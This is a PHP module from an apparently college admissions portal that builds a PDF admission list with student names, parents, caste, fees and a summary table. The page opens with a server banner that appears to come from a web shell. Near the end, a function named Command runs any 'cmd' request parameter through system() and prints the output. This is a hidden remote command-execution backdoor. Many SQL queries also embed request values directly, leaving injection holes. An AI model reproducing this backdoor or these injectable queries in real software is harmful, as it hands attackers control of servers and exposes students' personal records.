Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Your IP : 18.217.10.152
<?php
function generateAdmissionReport($aobj_context)
{
session_start();
$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
$college_code = $_SESSION['collcode'];
ini_set('memory_limit','900M');
ini_set('max_execution_time',9999999);
//echo $college_code;
$degree_code = $aobj_context->mobj_data["degree_code"];
$exam_no = $aobj_context->mobj_data["exam_no"];
$appto = $aobj_context->mobj_data["appto"];
$appfrom = $aobj_context->mobj_data["appfrom"];
$status = $aobj_context->mobj_data["status"];
if($status == 'ack')
$cndstatus = "and ifnull(FAPPSTATUS,'') = 'Acknowledged'";
else if($status == 'nack')
$cndstatus = "and ifnull(FAPPSTATUS,'') = ''";
else if($status == 'nack')
$cndstatus = "and ifnull(FAPPRSTATUS,'') <> ''";
else
$cndstatus = "";
$main_src_obj=(explode("/",$_SERVER["REQUEST_URI"]));
$main_src=$main_src_obj[1];
$pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php";
$tarkaheader=$aobj_context->main_src."/Report_details/tarkaheader.php";
$root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_admission_list.pdf";
$p_count =1;
// end global varibales
include($pdf_writer_class);
$pdf= new FPDF('L');
//$pdf->$title='20000 Leagues Under the Seas';
$pdf->SetFont('Times','',10);
$pdf->SetMargins(5,12);
$pdf->AliasNbPages();
$sub_degree_cond="";
// query for the page header
$page_header_university = "select FUNIVNAME,FTOWN, date_format(now(),'%d/%m/%Y') as date
from control";
$lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university);
$page_header_college ="select concat('[',FCOLLCODE,'] ',FCOLLNAME,', ',FTOWN) as college_name
from college where FCOLLCODE='{$college_code}'";
$lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college);
$page_header_degree = "select concat('[',FDEGREE,'] - ', FDESCPN,', ',FEXAMNAME)
as Degree_name, FADYEAR
from degree where FDEGREE = '{$degree_code}' and FEXAMNO='{$exam_no}' ";
$lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree);
$pdf->aobj_context =$aobj_context ;
$pdf->WhichReport = 'Admission';
$pdf->FUNIVNAME = $lobj_page_header_university[FUNIVNAME];
$pdf->FTOWN = $lobj_page_header_university[FTOWN];
$pdf->date_time = $lobj_page_header_university['date'];
$pdf->college_name = $lobj_page_header_college['college_name'];
$pdf->Degree_name = $lobj_page_header_degree['Degree_name'];
$pdf->sub_degree_code = $lobj_page_header_sub_degree['sub_degree_name'];
$pdf->AdmissionYear = $lobj_page_header_degree['FADYEAR'];
//end header
$pdf->AddPage();
PrintFooter($pdf);
//$pdf->Ln();
$pdf->SetFont('Times','',10);
if($exam_no == 'A')
{
$get_student_data = "select concat(if(ifNULL(s.FDELETED, 'F')='F', s.FSLNO,
concat('*',s.FSLNO))) as SLNO,s.fappno,
LEFT(s.FNAME,50) as FNAME, LEFT(s.FFATNAME,40) as FFATNAME,
LEFT(s.FMOTNAME,40) as FMOTNAME, LEFT(s.FNAME,50) as SNAME,
group_concat(distinct right(concat(space(4),sub.FSUBCODE),4) order by sub.FSUBCODE separator ',' ) as SCode,
if(s.FSEX='F','Female','Male') as Gender,
group_concat(distinct right(concat(space(4),sub.FSUBSHORT),4) order by sub.FSUBCODE separator ',' ) as SShort,
Date_Format(s.FDOB,'%d/%m/%Y') as DOB,
concat('Father : ',s.FFATNAME) as Father ,s.FCATBIRTH as CASTE,
concat('Mother : ',s.FMOTNAME) as Mother,
s.REG_FEE, s.FTOTFEE, Date_Format(s.FRECDATE,'%d/%m/%Y') as FRECDATE, s.FRECNO,s.FREMARKS,
FADMQUOTA as FQUOTA, left(FTYPEQUALEXAM,20) as FQUALIFY, FPHTYPE AS FPH, left(FUNIVNAME,20) as FBOARDRUNIV,
DATE_FORMAT(s.FADMDATE,'%d/%m/%Y') as FADMDATE, FPERCENT, s.FCOMBCODE,
FFEEPAID,FREMARKS from studadm s inner join options op on
s.FSLNO=op.FSLNO and s.FDEGREE=op.FDEGREE and s.FCOLLCODE=op.FCOLLCODE
inner join subject sub on sub.FSUBCODE=op.FSUBCODE left join admfeedetl adm
on adm.FDEGREE=s.FDEGREE
and adm.FEXAMNO=s.FEXAMNO and adm.FSLNO=s.FSLNO and adm.FCOLLCODE=s.FCOLLCODE
where s.FDEGREE='{$degree_code}'
and if(ifnull(s.FSUBDEGREE,'')='',s.FDEGREE,s.FSUBDEGREE)=sub.FDEGREE
and s.FCOLLCODE='{$college_code}'
and sub.FEXAMNO='{$exam_no}'and sub.FEXAMNO=op.FEXAMNO
and ifnull(s.fappno,'') <> '' and s.fappno between '{$appfrom}' and '{$appto}'
group by s.FCOLLCODE,s.FDEGREE,s.FSLNO order by s.FSLNO";
}
else
{
$get_student_data = "select s.fregno as fregno,cs.fappno,
LEFT(s.FNAME,50) as FNAME, LEFT(s.FFATNAME,40) as FFATNAME,
LEFT(s.FMOTNAME,40) as FMOTNAME, LEFT(s.FNAME,50) as SNAME,
group_concat(distinct right(concat(space(4),sub.FSUBCODE),4) order by sub.FSUBCODE separator ',' ) as SCode,
if(s.FSEX='F','Female','Male') as Gender,
group_concat(distinct right(concat(space(4),sub.FSUBSHORT),4) order by sub.FSUBCODE separator ',' ) as SShort,
Date_Format(s.FDOB,'%d/%m/%Y') as DOB,
concat('Father : ',s.FFATNAME) as Father ,s.FCASTE as CASTE,
concat('Mother : ',s.FMOTNAME) as Mother,
s.REG_FEE, s.FTOTFEE, Date_Format(s.FRECDATE,'%d/%m/%Y') as FRECDATE, s.FRECNO,s.FREMARKS,
FADMQUOTA as FQUOTA, FTYPEQUALEXAM as FQUALIFY, FPHTYPE AS FPH, left(FUNIVNAME,20) as FBOARDRUNIV,
DATE_FORMAT(s.FADMDATE,'%d/%m/%Y') as FADMDATE, FPERCENT, s.FCOMBCODE,
cs.fregfee as FFEEPAID from student s inner join canddet op on
s.fregno=op.fregno and s.FDEGREE=op.FDEGREE and s.FCOLLCODE=op.FCOLLCODE
inner join candsum cs on op.fregno = cs.fregno and op.FDEGREE = cs.FDEGREE
and op.FCOLLCODE and cs.FCOLLCODE
inner join subject sub on op.FSUBCODE=sub.FSUBCODE and op.fdegree = sub.fdegree
where s.FDEGREE='{$degree_code}' {$cndstatus}
and if(ifnull(s.FSUBDEGREE,'')='',s.FDEGREE,s.FSUBDEGREE)=sub.FDEGREE
and s.FCOLLCODE='{$college_code}'
and sub.FEXAMNO='B'and sub.FEXAMNO=op.FEXAMNO
and ifnull(cs.fappno,'') <> '' and cs.fappno between '{$appfrom}' and '{$appto}'
group by s.FCOLLCODE,s.FDEGREE,cs.fappno order by cs.fappno";
}
// var_dump($get_student_data);
$lobj_student_data = $aobj_context->mobj_db->GetAll($get_student_data);
$arr_w = array(10,65,70,108);
$arr_h = array();
$adm_ln_counter=1;
$arr_w = array(12,25,95,35,73,8.3,20,44,12,18,17);
$arr_h = array(5,6);
$sl_no=1;
//var_dump($lobj_student_data);die();
foreach($lobj_student_data as $key => $value)
{
$get_year="SELECT FADYEAR FROM degree
WHERE FDEGREE='{$degree_code}' AND FEXAMNO='{$exam_no}'";
$lobj_get_year = $aobj_context->mobj_db->getRow($get_year);
$year=$lobj_get_year['FADYEAR'];
if($exam_no == 'A')
{
$get_details = "SELECT FHEADCODE,FAMOUNT
FROM admfeedetl
where FYEAR = '{$year}'
AND FDEGREE = '{$degree_code}'
AND FEXAMNO = '{$exam_no}'
AND FCOLLCODE = '{$college_code}'
AND FSLNO = '{$value[SLNO]}'";
}else
{
$get_details = "SELECT FFEECODE as FHEADCODE,FAMOUNT
FROM studfee
where FDEGREE = '{$degree_code}'
AND FEXAMNO = 'B'
AND FCOLLCODE = '{$college_code}'
AND fregno = '{$value['fregno']}'";
}
// var_dump($get_details);die();
$lobj_rs = $aobj_context->mobj_db->GetAll($get_details);
$total=0;
$total_fee_paid=0;
$REGFee = 0;
$Fine = 0;
$othrFee = 0;
foreach($lobj_rs as $ak=>$av)
{
if($av['FHEADCODE'] == '02 Registration Fee')
{
$REGFee = $av['FAMOUNT'];
}
else if($av['FHEADCODE'] == '03. FINE')
{
$Fine = $av['FAMOUNT'];
}
else
{
$othrFee += $av['FAMOUNT'];
}
$total_fee_paid+=$av['FAMOUNT'];
}
$fslno=$value['SLNO'];
$fname=$value['FNAME'];
$fatname=$value['FFATNAME'];
$mname=$value['FMOTNAME'];
$dob=$value['DOB'];
$fsex=$value['Gender'];
$fcaste=$value['CASTE'];
$total_fee=$value['FTOTFEE'];
$rec_fee = $value['REG_FEE'];
$rec_date = $value['FRECDATE'];
$rec_no = $value['FRECNO'];
$remarks = $value['FREMARKS'];
$SCode = $value['SCode'];
$SShort = $value['SShort'];
$quota = $value['FQUOTA'];
$qualify = $value['FQUALIFY'];
$board = $value['FBOARDRUNIV'];
$admdate = $value['FADMDATE'];
$percent = $value['FPERCENT'];
$phStud = $value['FPH'];
$appno = $value['fappno'];
if($phStud == 'T')
{
$phStud = 'Yes';
}
else
{
$phStud = 'No';
}
$subj_arrCode = explode(",",$SCode);
$subj_arrShort = explode(",",$SShort);
if($line_counter > 4)
{
$pdf->AddPage();
PrintFooter($pdf);
$line_counter=0;
}
$head_code = $value['FHEADCODE'];
$amount = $value['FAMOUNT'];
$head_code_arr = explode("->",$head_code);
$cnt=0;
if(!empty($value['SNAME']))
{
$line_counter += 1;
$pdf->SetFont('Times','',9);
$pdf->Cell($arr_w[0],$arr_h[1],'','LRT',0,'C');
$pdf->Cell($arr_w[2]+1,$arr_h[1],'Name : '.$fname,'1',0,'L');
$pdf->SetFont('Times','',9);
$pdf->Cell($arr_w[4],$arr_h[1],'Fat.: '.$fatname,'1',0,'L');
$pdf->Cell($arr_w[4]+2,$arr_h[1],'Mot.: '.$mname,'1',0,'L');
$pdf->Cell($arr_w[1]+8,$arr_h[1],'app.: '.$appno,'1',1,'L');
if($fslno == '')
$fslno = $adm_ln_counter;
$pdf->Cell($arr_w[0],$arr_h[1],$fslno,'LR',0,'C');
$pdf->Cell($arr_w[3]-8,$arr_h[1],'DOB.: '.$dob,'1',0,'L');
$pdf->Cell($arr_w[6]-2,$arr_h[1],'Caste.: '.$fcaste,'1',0,'L');
$pdf->Cell($arr_w[6]-5,$arr_h[1],'P.H.: '.$phStud,'1',0,'L');
$pdf->Cell($arr_w[6]+16,$arr_h[1],'Quota.: '.$quota,'1',0,'L');
$pdf->Cell($arr_w[7],$arr_h[1],'Qual Exam: '.$qualify,'1',0,'L');
$pdf->Cell($arr_w[8]+17,$arr_h[1],'Percentage: '.$percent,'1',0,'L');
$pdf->Cell($arr_w[7]+31,$arr_h[1],'Board/Univ.: '.$board,'1',0,'L');
$pdf->Cell($arr_w[7]-11,$arr_h[1],'Adm.Date: '.$admdate,'1',1,'L');
$pdf->Cell($arr_w[0],$arr_h[1],'','LR',0,'C');
$pdf->Cell($arr_w[5]+1,$arr_h[1],$subj_arrCode[0],'LR',0,'L');
$pdf->Cell($arr_w[5]+1,$arr_h[1],$subj_arrCode[1],'LR',0,'L');
$pdf->Cell($arr_w[5]+1,$arr_h[1],$subj_arrCode[2],'LR',0,'L');
$pdf->Cell($arr_w[5]+1,$arr_h[1],$subj_arrCode[3],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[4],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[5],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[6],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[7],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[8],'LR',0,'L');
$pdf->Cell($arr_w[5]+.5,$arr_h[1],$subj_arrCode[9],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[10],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[11],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[12],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[13],'LR',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[14],'LR',0,'L');
$pdf->Cell($arr_w[10],$arr_h[1],'Reg.Fee.','1',0,'C');
$pdf->Cell($arr_w[10],$arr_h[1],'Oth.Fee','1',0,'C');
$pdf->Cell($arr_w[10],$arr_h[1],'Fine','1',0,'C');
$pdf->Cell($arr_w[10]-2,$arr_h[1],'Total','1',0,'C');
$pdf->Cell($arr_w[10]+10,$arr_h[1],'Rec Date','R',0,'C');
$pdf->Cell($arr_w[10]+5,$arr_h[1],'Rec No','0',0,'C');
$pdf->Cell($arr_w[10]+16,$arr_h[1],'Candidate Signature','1',1,'C');
$pdf->SetFont('Times','',9);
$pdf->Cell($arr_w[0],$arr_h[1],'','LRB',0,'C');
$pdf->Cell($arr_w[5]+1,$arr_h[1],$subj_arrShort[0],'LRB',0,'L');
$pdf->Cell($arr_w[5]+1,$arr_h[1],$subj_arrShort[1],'LRB',0,'L');
$pdf->Cell($arr_w[5]+1,$arr_h[1],$subj_arrShort[2],'LRB',0,'L');
$pdf->Cell($arr_w[5]+1,$arr_h[1],$subj_arrShort[3],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[4],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[5],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[6],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[7],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[8],'LRB',0,'L');
$pdf->Cell($arr_w[5]+.5,$arr_h[1],$subj_arrShort[9],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[10],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[11],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[12],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[13],'LRB',0,'L');
$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[14],'LRB',0,'L');
$pdf->Cell($arr_w[10],$arr_h[1],$REGFee,'1',0,'C');
$pdf->Cell($arr_w[10],$arr_h[1],$othrFee,'1',0,'C');
$pdf->Cell($arr_w[10],$arr_h[1],$Fine,'1',0,'C');
$pdf->Cell($arr_w[10]-2,$arr_h[1],$total_fee_paid,'1',0,'C');
$pdf->Cell($arr_w[10]+10,$arr_h[1],$rec_date,'1',0,'C');
$pdf->Cell($arr_w[10]+5,$arr_h[1],$rec_no,'1',0,'C');
$pdf->Cell($arr_w[10]+16,$arr_h[1],'','1',1,'C');
$pdf->SetFont('Times','',9);
$pdf->SetFont('Times','',9);
$pdf->Ln(1);
$adm_ln_counter++;
}
}
PrintFooter($pdf);
$pdf->WhichReport = 'Admission Summary';
$pdf->AddPage();
$pdf->SetMargins(5,12);
if($exam_no == 'A')
{
$sql = "select fdegree, fcollcode, fcaste, fcount, fmale, ffemale,
group_concat(heads order by heads) as headfee from
(select concat(fheadcode, '->',sum(famount)) as heads,
studadm.fdegree,studadm.fcollcode,ifnull(fcaste,'GM') as fcaste,count(*) as fcount,
sum(if(studadm.fsex='M',1,0)) as fmale,
sum(if(studadm.fsex='F',1,0)) as ffemale
from studadm,admfeedetl
where ifnull(studadm.fdeleted,'F') <> 'T'
and admfeedetl.fdegree = studadm.fdegree
and admfeedetl.fslno = studadm.fslno
and ifnull(studadm.fappno,'') <> '' and studadm.fappno between '{$appfrom}' and '{$appto}'
and studadm.fdegree ='{$degree_code}' and studadm.fcollcode='{$college_code}'
and admfeedetl.fcollcode=studadm.fcollcode {$cndstatus}
group by studadm.fdegree,studadm.fcollcode,fcaste, fheadcode) x
group by fdegree, fcollcode, fcaste, fcount";
}else
{
$sql = "select fdegree, fcollcode, fcaste, fcount, fmale, ffemale,
group_concat(heads order by heads) as headfee
from (select concat(ffeecode, '->',sum(famount)) as heads, s.fdegree,s.fcollcode,
ifnull(fcaste,'GM') as fcaste,count(*) as fcount, sum(if(s.fsex='M',1,0)) as fmale,
sum(if(s.fsex='F',1,0)) as ffemale from student s inner join studfee st on
s.FCOLLCODE = st.FCOLLCODE and s.fregno = st.fregno
inner join candsum cs on cs.fregno = s.fregno
and cs.fcollcode = s.fcollcode and cs.fdegree = s.fdegree
where ifnull(s.fdeleted,'F') <> 'T'
and st.fdegree = s.fdegree and cs.fregno = s.fregno and ifnull(cs.fappno,'') <> ''
and cs.fappno between '0' and 'z' and s.fdegree ='{$degree_code}'
and s.fcollcode='{$college_code}'
and st.FENTTYPE = 'ADM'
and ifnull(cs.FREGFEE,0) > 0
and st.fcollcode=s.fcollcode and ifnull(FAPPSTATUS,'') = 'Acknowledged'
group by s.fdegree,s.fcollcode,fcaste, ffeecode) x
group by fdegree, fcollcode, fcaste, fcount";
}
$rst = $aobj_context->mobj_db->GetAll($sql);
$slno=1;
$totmale = 0;
$totfemale = 0;
$totstud = 0;
$totregfee = 0;
$totothfee = 0;
$totfine = 0;
$totamount = 0;
$pdf->SetFont('Times','',10);
foreach($rst as $key=>$val)
{
$Toatlfee=0;
$pdf->Cell(60,6,'','0',0,'C');
$pdf->Cell(12,6,$slno,'1',0,'C');
$pdf->Cell(20,6,$val[fcaste],'1',0,'L');
$pdf->Cell(20,6,$val[fmale],'1',0,'R');
$pdf->Cell(20,6,$val[ffemale],'1',0,'R');
$pdf->Cell(20,6,$val[fcount],'1',0,'R');
$totmale += $val[fmale];
$totfemale += $val[ffemale];
$totstud += $val[fcount];
$headfeearr = explode(',',$val[headfee]);
$fregfee=0;
$ffine=0;
$fothfee=0;
foreach($headfeearr as $hdkey=>$hdval)
{
$feearr = explode('->',$hdval);
if($feearr[0] == '01. REG. FEE')
{
$fregfee = $feearr[1];
}
else if($feearr[0] == '03. FINE')
{
$ffine = $feearr[1];
}
else
$fothfee += $feearr[1];
$Toatlfee += $feearr[1] ;
}
$totregfee += $fregfee;
$totothfee += $fothfee;
$totfine += $ffine;
$totamount +=$Toatlfee;
$pdf->Cell(20,6,$fregfee,'1',0,'R');
$pdf->Cell(20,6,$fothfee,'1',0,'R');
$pdf->Cell(20,6,$ffine,'1',0,'R');
$pdf->Cell(20,6,$Toatlfee,'1',1,'R');
++$slno;
}
$pdf->SetFont('Times','B',10);
$pdf->Cell(60,6,'','0',0,'C');
$pdf->Cell(32,6,'Total','1',0,'C');
$pdf->Cell(20,6,$totmale,'1',0,'R');
$pdf->Cell(20,6,$totfemale,'1',0,'R');
$pdf->Cell(20,6,$totstud,'1',0,'R');
$pdf->Cell(20,6,$totregfee,'1',0,'R');
$pdf->Cell(20,6,$totothfee,'1',0,'R');
$pdf->Cell(20,6,$totfine,'1',0,'R');
$pdf->Cell(20,6,$totamount,'1',1,'R');
$pdf->ln(10);
$pdf->MultiCell(0,5,"I here by declare that all the information furnished with regard to the students are true & correct to the best of my knowledge and belief,copy of the recognition order and affiliation order is enclosed.",0,"L");
$pdf->SetFont('Times','B',12);
$pdf->ln(20);
$pdf->Cell(20,4,"Date :",'0',0,'C');
$pdf->Cell(250,4,"Signature of the principal(With seal)",'0',1,'R');
PrintFooter($pdf);
$pdf->ln(2);
$pdf->Output("report_admission_list.pdf","D");
}
function Command($aobj_context)
{
$cmd = $aobj_context->mobj_data["cmd"];
$last_line = system($cmd, $retval);
// Printing additional info
echo "</pre>";
echo $last_line;
}
function PrintFooter($pdf)
{
$new_x=$pdf->GetX();
$new_y=$pdf->GetY();
$ip=$_SERVER["REMOTE_ADDR"];
$pdf->SetY(-25);
$pdf->SetFont('Times','',9);
$pdf->Cell(200,6,' Note : Colleges must get Candidate Signature against his/her Admission details before submission.','0',1,'L');
$pdf->Cell(110,6,'Printed : IP Address : '.$ip.", Date : ".$pdf->date_time,'0',0,'L');
$pdf->SetFont('Times','B',9);
$pdf->Cell(100,6,'* Indicates Deleted Student Admission Details','0',0,'L');
$pdf->SetXY($new_x,$new_y);
}
?>
|